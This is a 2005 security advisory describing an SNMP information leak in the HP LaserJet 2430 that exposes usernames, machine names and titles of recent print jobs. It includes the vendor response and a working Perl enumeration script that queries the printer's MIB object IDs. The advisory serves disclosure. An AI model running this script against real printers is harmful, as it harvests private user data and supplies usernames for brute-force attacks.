[NEWS] HP LaserJet Information Disclosure

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To: list@securiteam.com
Date: 29 Sep 2005 15:39:56 +0200

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  HP LaserJet Information Disclosure
------------------------------------------------------------------------

SUMMARY

HP LaserJet printers has an extensive administrative user interface
provided over SNMP. SNMP is normally used for monitoring applications and
servers performance but can also be used to perform remote configurations.

Fully access document information exists on HP LaserJet printers that
allow attackers retrieve sensitive information from the printers.

DETAILS

Vulnerable Systems:
 * HP LaserJet 2430

Pinion has discovered that HP LaserJet printers store information
regarding recently printed documents. Information such as document name,
title, number of pages, document size, user who has printed the document
and the machine name where the print job was initiated.

This document information "cache" is flushed when the document is older
then one hour but in mean time, the information can be obtained by anyone
with access to the network and who has information regarding the "public"
SNMP community configured at the printer.

In reality, an intruder could use this information to obtain possible
usernames that later could be used in a login brute force attack against
servers.

Vendor response :
"This information is kept by the printer in the printer specific MIB.
Jetdirect controls the authentication and subsequent authorization to all
the MIBs. This authentication/authorization can be controlled via SNMP
settings."

Reference:
 
<http://h20000.www2.hp.com/bizsupport/TechSupport/DocumentIndex.jsp?locale=en_US&contentType=SupportManual&docIndexId=3124&prodTypeId=18972&prodSeriesId=416419&lang=en&cc=us> "HP Jetdirect Embedded Print Server Administrator's Guide":

Additional information regarding HP Jetdirect security is available here:
 
<http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=bpj05999> http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=bpj05999
 
<http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c00004828> http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c00004828

Exploit:
#!/usr/bin/perl
#####################################################################
##
## HP LaserJet SNMP User name enumeration tool v0.2 by
## Pinion Labs 050705
## george[46]hedfors[64]pinion[46]se
## http://www.pinion.se
##
## Description
## HP LaserJet printers loggs recent printed documents with
## timestamp, size, number of pages, username and machine name.
## These can be extracted using a specially crafted SNMP Object ID.
##
## Document name under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1
## Document pages under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.12
## Document size under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.14
## Usernames are found under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1
## Machine names under 1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2
##
## Output format
## DocID:Username:Machine:Pages:Size:DocName
##
##

use Net::SNMP;

## Number of errors in row that is tolerated before exit
$tolerance = 10;
## Default SNMP community to use
$defcommunity = "public";
## Default SNMP port to use
$defport = 161;

### END OF CONFIG ###

$host = $ARGV[0] || die "syntax: $0 victim.com \[community\] ".
                             "\[startid\]\n";
$community = $ARGV[1] || $defcommunity;
$startid = $ARGV[2] || 0;

($session, $error) = Net::SNMP->session(-hostname => $host,
                                        -community => $community,
                                        -port => $defport);

if (!defined($session)) {
        printf("ERROR: %s.\n", $error);
        exit 1;
}

for($i = $startid; $err < $tolerance; $i++) {
        $oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1.$i.0";
        $result = $session->get_request(-varbindlist => [$oid]);

        if (!defined($result)) {
                if($found > 0) {
                        $err++;
                }
        } else {
                $found++;

                ($null, $user) = split(/\=/, $result->{$oid}, 2);

                $oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2.$i.0";
                $result = $session->get_request(-varbindlist => [$oid]);
                ($null, $id) = split(/\=/, $result->{$oid}, 2);

                $oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1.$i.0";
                $result = $session->get_request(-varbindlist => [$oid]);
                $doc = hex2ascii($result->{$oid});

                $oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.12.$i.0";
                $result = $session->get_request(-varbindlist => [$oid]);
                $pages = $result->{$oid};

                $oid = "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.14.$i.0";
                $result = $session->get_request(-varbindlist => [$oid]);
                $size = $result->{$oid};

                printf("%d:%s:%s:%s:%s:%s\n", $i, $user, $id, $pages,
$size, $doc);

                $err = 0;
        }
}

$session->close;

exit 0;

sub hex2ascii() {
        my $hex = shift;
        my $asc;

        for($n = 6; $n < length($hex); $n += 2) {
                $asc .= chr(hex(substr($hex, $n, 2)));
        }

        return $asc;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:lab@pinion.se> Pinion Lab.

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